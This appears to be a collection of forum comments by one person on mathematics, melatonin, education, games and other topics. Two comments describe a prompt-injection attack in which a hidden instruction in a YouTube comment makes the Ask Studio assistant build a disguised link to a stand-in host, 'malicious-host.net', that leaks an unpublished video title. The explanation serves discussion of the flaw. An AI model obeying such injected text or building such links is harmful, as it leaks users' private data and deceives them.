vector_spaces

I mentioned this in a sibling comment but even for mathematicians, the intimidating notation and the more formal language might give the wrong impression about how we think about math. Actual thinking and even discussions with other mathematicians tend to be looser and more concrete and tactile, but the notation and language are there in part to act as a sort of lingua franca to help everyone stay on the same page, since everyone thinks at least a little bit differently. It also helps to keep you honest and catch situations where your thinking was muddied, since this language is so specific and writing things down has a funny way of catching things. And good notation goes a long way towards making the simplicity of an idea clear, or completely muddy in the case of bad notation.

Many mathematicians do what you do as well!

Yeah it is a lot of simple ideas stacked one on top of the other, but the edifice is so large from some vantages that the building blocks aren't visible, or tractable to think about independently. And sometimes the ideas are very subtle, so you can only develop fluency partly by spending lots of time playing with those blocks by building your own little structures. You also develop fluency by talking to other mathematicians

I like to emphasize that the ideas are usually very simple at their core. Sometimes they map to kinds of objects or reasoning that non-mathematicians use implicitly all the time in their daily lives, mathematicians just have words for them and so are able to use them explicitly.

And I suspect the density of the language/terminology may give the wrong impression about how mathematicians think about the math they are working on. I mean, different people think / experience / practice math differently of course but IME the underlying thought about a particular problem tends to be much looser and concrete than formal math writing would imply.

That more formal language is needed of course because at the end of the day, it is how we communicate our thoughts in the way that other mathematicians can understand them, not to mention how we can check our own thinking

I think don't be too hard on yourself. If you haven't already, it may be worth considering whether ADHD or something else might be playing a role. We aren't machines, we're messy bundles of biology and understanding our own particular messy bundle can go a long way towards getting it rolling in the right direction.

2. BI dashboards(we removed spend on tableau, retool and appsmith)

Can you explain this in more detail? You saying that DeepSQL can create BI dashboards that makes Tableau and friends redundant -- are you talking about analytics dashboards consumed by business teams or more like db ops dashboards used by backend teams? Does the user prompt the agent for them, or does it build dashboards that it infers are needed?

The title is ambiguous but not wrong. It's a command-line game in the sense that the controls are primarily text commands issued over a diegetic console within the GUI. It is not a purely text-based TUI and does not run inside your factor terminal emulator.

Love this, thank you for sharing it

Ooh, slick rhetorical moves you just executed. You couched your comment in the jargon of formal logic, and in doing so situated the parent under a convenient ad-hoc pseudo-formalization where you could paint them a raving illogical, thereby dismissing most of what they wrote through low-effort counterexamples. Mathematical certainty on your side, you make a chivalrous concession to the parent, reinforcing your noble-stoic character, while sealing their dismissal in the mind of any observer.

I claim that it is trivial, albeit obnoxious, to dismiss most informal utterances in the way you have just done. This is because informal language is complex and enthymeme in the extreme -- we don't tend to articulate every e.g. assumption and premise and contextual relation up front in every utterance. Language is messy because the concepts under discussion are complex and messy, and vibes are powerful tools for wrangling that complexity and getting at meaning. And the majority of paradoxes and contradictions one can identify carry no signal whatsoever. Perfectly reasonable statements can be rife with them.

For example: my interpretation of what the parent wrote was something like "the 'making stupid mistakes' line together with the rest of the blog post signal towards neurodivergence, and someone who is harshly self-critical. so with urgency, I warn the author to be weary of comments on HN, as there is a strong likelihood of being led down an unhelpful path that might aggravate this, particularly given the harsh self-talk and what we know about the subcultures that frequent this place"

Speaking of unarticulated contextual relations, "I often make careless mistakes" is literally in the DSM-V as a diagnostic criterion for ADHD.

I agree with Gwern in that I think for the vast majority of people, short-term melatonin supplementation is useful and can cause little harm, and it is extremely safe as far as supplements go.

But I don't think it does anyone any favors to oversell the idea that it has "few" or "no" side effects -- it has mild side effects, most commonly reported in the literature are daytime fatigue, headaches and GI symptoms, and also nightmares. Mild doesn't mean it isn't a nonstarter for some people.

It's also important to remember that there are major gaps in what we know about melatonin; notably the effects of chronic supplementation are not well-studied, but earlier final awakening has been documented and this is quite commonly reported in anecdata -- I can contribute a datapoint there, as can most people in my circles who have used it.

To be clear, melatonin is great and useful, but as someone with a rare lifelong chronic sleep disorder who is intimately familiar with this substance, I think it's most useful when we're clear on what we know, what we don't know, and what actually are the limitations on a substance.

Just because downing a bottle of it probably won't cause systemic organ failure or otherwise any kind of medical emergency in most people doesn't mean there aren't tradeoffs to consider when using it, especially if you are sleep-challenged

I wonder how intelligible classical Maya is with modern Maya languages/points on the Maya continuum. For instance, does the classical word for fox share any resemblance to any Maya word for it today?

I can imagine it going either way really but would probably guess there was vastly more drift in the case of Maya. I would naively guess that the printing press would have a dampening effect on language drift, and that the kind of repression of both the language and culture under colonialism would encourage it.

I am guessing there are so many possible tags that this wouldn't be pragmatic

I am sorry to be harsh but I find it amateurish that they would use an AI generated hero image for this and presumably fabricated LLM output -- fabricated by an AI image generator no less

Whenever I create an image like this for the purpose of a demo, I make certain that it demonstrates either real input/output or at least is exemplary of real input/output because the whole point is to instill confidence in the tool. Sure, if the raw outputs aren't clean/comprehensible enough for presenting to stakeholders or others, fine, clean them up to make them comprehensible or add explainers, but there shouldn't be any need to fabricate the inputs.

I feel obligated to respond to the hypothetical "But they don't want to tie it to a particular restaurant or brand" -- you don't have to! Doordash has taken generic food photos for this exact purpose.

You are pointing out the use of generic front-end frameworks and claiming that it is a similar phenomenon, in that using generic frameworks can result in bland visual design with little evidence of taste or intention on the part of the creator, resulting in products that are visually unappealing and uninteresting. I agree with this.

If you care to develop this thought further, I would love to read it -- at the moment, it seems half-baked, unless you just wanted to point out the similarities.

The LLM responds with rendered markdown, which conceals the actual link. It constructs it in such a way where the link looks like a message or warning from the YouTube platform, or perhaps something like

Message response too large, click [here](malicious-host.net/blabla?video="Secret Unpublished Video")" to download

This is an environment where I suspect a majority of creators probably expect that untrusted links like this are possible, and assume anything the platform spits out is legitimate. So you are right that it relies on the creator clicking the link, but that is a very real possibility here.

You don't conceptually understand the attack. The attacker does not need to know the video title, this is an attack to exfiltrate that very title.

That bit you quoted from the article in your first line is included verbatim in the malicious prompt.

When the creator interacts with Ask Studio, Ask Studio cannot / does not differentiate the user prompt from the malicious prompt that is baked into the comment. It treats it as a part of the creator's request, and since of course the creator has access to all the videos on their channel, published or not, it complies with the request, since as far as the LLM is concerned, the user is the creator and they aren't trying to access anything they shouldn't have access to. So Ask Studio constructs a markdown link to an external URL with a querystring parameter, replacing video=BANG with video="Announcing Our New Parternership with Acme Corporation".

If the creator clicks on that link, the attacker who presumably controls the server for external URL will see the query param value in their logs. The link shows up for the creator as an actual link with whatever link text the attacker chose. So an unsuspecting creator might think e.g. that the message comes from YouTube and not think to verify the link is legitimate.

Speak for yourself (re learning)? Lots of young ppl are curious and determined and willing to dig into the guts of a thing to understand how it works.

I agree re LLMs lowering the barrier of entry generally being a good thing, but I also find it disingenuous to present this as anyone's work at all, really.

All of the copy on the page (e.g. the "Made with <3 for X") reads to me as empty mimicry of 2018-era coastal tech, and not something a 13 year old would have much context for at all. The tech itself feels like a very simple CRUD app. There is nothing wrong with that and many useful and interesting applications are just that, but I also know that this app is borderline trivial to generate/vibe code in a handful of prompts nowadays

I am sorry to be a downer! To be clear, shipping alone is a hurdle, and that counts for something. Also, not every work needs to be novel or demonstrate outstanding creativity or copywriting skills

But one element of making things that's overlooked is taste. I think that's what is missing here for me -- it's not really transparent which choices were made by the LLM and which were made by the kid.

If you mandate force feeding at scale, then yes, some instructors will do so clumsily -- this is virtually guaranteed, although it is true that some topics are more prone to this than others.

But I think you misinterpreted my comment -- I am not advocating for doing away with schooling or testing understanding in school in general, which is entirely my fault as my post was a bit unclear. But I agree with you that one should learn to read and write in school!

OP used the phrasing "force them", which I read as a stronger statement than "it'll be on the exam", and more "there will be an exam or entire course on this topic that must be passed or else". My point, more or less, was that there are many other more fundamental topics we already do this with other than cursive, and that adding another has a steep cost with uncertain payoff that is heavily dependent on the implementation.

There was an enormous volume of material that I never understood in high school because at the time I either didn't care or other things seemed more important -- my mom was dying, for starters.

But just having exposure to that material planted it in my mind and, in many cases, I revisited those topics later as an adult and learned them properly.

To be clear, I am not advocating for doing away with testing or schooling altogether. I am only pushing back on the idea that a 16 year old who doesn't care about cursive or calculus or Chaucer or whatever today won't ever care about those topics unless we mandate he pass an exam or course on it.

More broadly, my point is that there is a cost to "forcing them" as the grandparent advocates with regard to learning cursive. The moment you "force them" you also guarantee that some people won't graduate because of that extra requirement. There are other ways to enrich people's lives without force feeding, e.g., mention it and devote a question on an exam to it.

I appreciate the sentiment, as someone who vastly prefers handwriting, but the downfall of this might be the situation we have historically had in the US with math, where the experience of being clumsily force fed this additional material can be so painful that it induces PTSD-like symptoms and a lifelong aversion to the material. A similar phenomenon even occurs with cursive and PE class.

That obviously isn't to say that I don't think people should learn these subjects, nor that we should avoid presenting them at all to young minds. It's just that, as someone who failed math all through grade school and now does pure math research as an adult, I don't think "forcing them" in the sense of introducing yet another high stakes and high pressure set of evaluations to all the others is really the enlightened path here

It's not pedantry at all, there are simply different paradigms of AI. The dominant one today is DL, symbolics/GOFAI were dominant decades ago. These methods are still used today in some fields, not merely gamedev

There are paradigms of AI that are not deep learning. If you took an AI course in the 90s or earlier, implementations like this are much closer to what you would learn about -- symbolics/GOFAI. It remains basic to some fields where stakes and complexity are high (air traffic control and military systems) but determinism is a strict requirement, not to mention others like gamedev that have lots of performance constraints -- and usually don't actually need or want anything non-deterministic or overly smart.

Deep Blue, the first chess engine to defeat a world champion, was a GOFAI system

There was an article recently about a system used in production at a pasty chain in Japan to classify pastries at checkout that didn't use DL for most of its existence. Now it seems to be a hybrid system that uses symbolics and DL for certain functions

https://www.newyorker.com/tech/annals-of-technology/the-past...

RE who writes these things: I know you're probably referring to code here but on the actual dialogue side, there was a charming interview recently with the person responsible for translating Miyazaki's vision into English. He apparently did all of the writing (dialogue, item descriptions, UI text) for Dark Souls, and split the work with just one other person for all the later games including Elden Ring.

https://youtu.be/vIbKALhzHVc?si=WRAQs77WG2QwVkt5

More topical, I do actually appreciate some of the persistent jankiness like this that hasn't changed since their original games. They experimented with different approaches in DS3, where certain NPCs you encountered would essentially evaporate after you exhausted their dialogue, and they would later materialize back in the hub. I personally hated this -- one element I really enjoyed in the earlier games was this sense that the world doesn't revolve around you. The NPCs feel like rich characters with their own goals and motivations

Having them leave when you're finished talking to them sort of reduced them to utilities, which of course they are ultimately, but the gamefeel suffered a bit from making that more explicit. Don't me wrong though, I love DS3, but I didn't care for that particular change

Anyway, handling NPC progression in this way where the player needs to reload the area is more about navigating a technical limitation than anything else. But like many constraints it conspires with others to produce a certain gamefeel that I enjoy. It would feel a bit less impactful if Hyetta just moved on the instant I exhausted her dialogue -- it's more interesting for me to return and see that she has moved on

Another example of this sort of thing is FromSoft supposedly historically being bad at animating eyes, hence many critical NPCs being blindfolded or with faces hidden by helmets or otherwise obscured. This imagery plays nicely with their other sensibilities around character design and is thematically pretty rich

Not all work requires every facet to be so sharply optimized, and there may be other constraints that are completely invisible to you. Some that were easy for me to imagine: the parent works in a heavily regulated industry, their IT team is slow-moving and paranoid and this is a safe, under-the-radar workaround, the output is "good enough" for their purposes and they find tinkering with it to be fun.

Regardless I don't think it's fruitful to be so condescending with such little insight into this person's situation. Even if you had total insight -- let people be and withhold your judgement, or at least keep it to yourself. Making people feel stupid is a great way to turn people off to pretty much anything else you have to say

About your second point, the site guidelines suggest assuming good faith and responding to the strongest possible version of what someone has written. I would interpret that to mean here that "they had no trouble understanding the post but had reservations about it, which felt important to them".

I will also add that I feel characterizing what they have written as nitpicking feels rude and uncharitable.

Personally I appreciated the parent comment because although I enjoyed the article, it didn't completely sit well with me, and the comment helped to clarify why. There are some activities in my life that I've poured years of blood, sweat, and tears into, and I'm realizing as I get older that my goals and dreams with regard to this category of work will probably never be realized. This feels a bit different to the snowboarding narrative, which for all I know may have been chosen not because the writer hasn't been in a situation like mine, but because it's easier to digest and doesn't require a level of vulnerability that would muddy the light-hearted tone of the post.

In any event, I don't feel your hostility is fair or warranted here

I agree that AI is likely a driving force here, but it is also likely not the only driving force. COVID likely played a devastating role, along with curriculum changes in high school, reactionary cultural shifts towards anti-intellectualism, and broader declines in literacy that have been in progress for a while now. It would be interesting to see data for the past 5-10 years or so.

It's reading my requests more clearly than (for example) Google's search input ever did

I see this take a lot and it puzzles me.

While I think LLMs provide some advantages over traditional search in some modestly nontrivial contexts, they tend to be inferior to traditional search at its peak. I attribute this attitude to two things: the broad progressive enshittification and productization of search, and the fact that (re)search is a skill that most people tend to be bad at. Without massaging, LLMs spit out the most utterly braindead boneheaded queries, which are fine in cases where the problem is very well understood with minimum uncertainty or critical nuance. If your problem has either, God help you. But perhaps those queries are at least as good as the average human generated query

The game very explicitly implores the player to question the ethics of monster slaying -- most directly through the character of Djura, who points out that the beasts were once people too. The game goes so far as to give you a dialogue box when talking to him, with the options to spare the beasts or not

There is also the romp through the Hunter's Nightmare, whose first act is replete with beasts cowering in fear at the sight of the player character. Even if you spare them you'll usually see them brutally slain by mad hunter compatriots anyway

And it's no mistake that all the "kin" type characters you encounter in the game, like Rom, Ebrietas, and Moon Presence, are all deeply tragic.

Thematically Bloodborne is deeply concerned with humanization/dehumanization and how those interact with violence, and it plays a lot with this in the narrative to subvert with the usual power fantasy of the soulslike genre -- the beasts cowering in fear in the nightmare seem more human than the mad hunters, Ebrietas appears to be grieving when you encounter her, and with Rom you might systematically murder her children before directing your blade at her. Like you can live out that power fantasy, but it won't always feel great.

So no, I don't think that Ebrietas being optional works against this idea at all. It just allows the narrative to explore different facets of this question -- it humanizes her, and if you choose to fight her it's because you chose to be the aggressor.

This is not common in an in-person setting -- nearly "unheard of" outside of elite schools or particular faculty at particular programs. So it is the latter

I mean, given that belief in moral decline is essentially based on illusory perceptions anyway[1], it's not too surprising that someone handwringing about it would also hallucinate connections between two disparate phenomena they opted to characterize as examples of such.

If you opt to habitually rationalize human behavior in a manner that is detached from concern with nuance or driving forces then some amount of reality denial is probably inevitable

[1] See e.g. https://www.nature.com/articles/s41586-023-06137-x

What point are you trying to make?

If you can be fined for a behavior, and lose privileges like the ability to operate a motor vehicle, then it is not legally acceptable.

This is security through obscurity -- can complement other methods but won't do much for you against competent adversaries.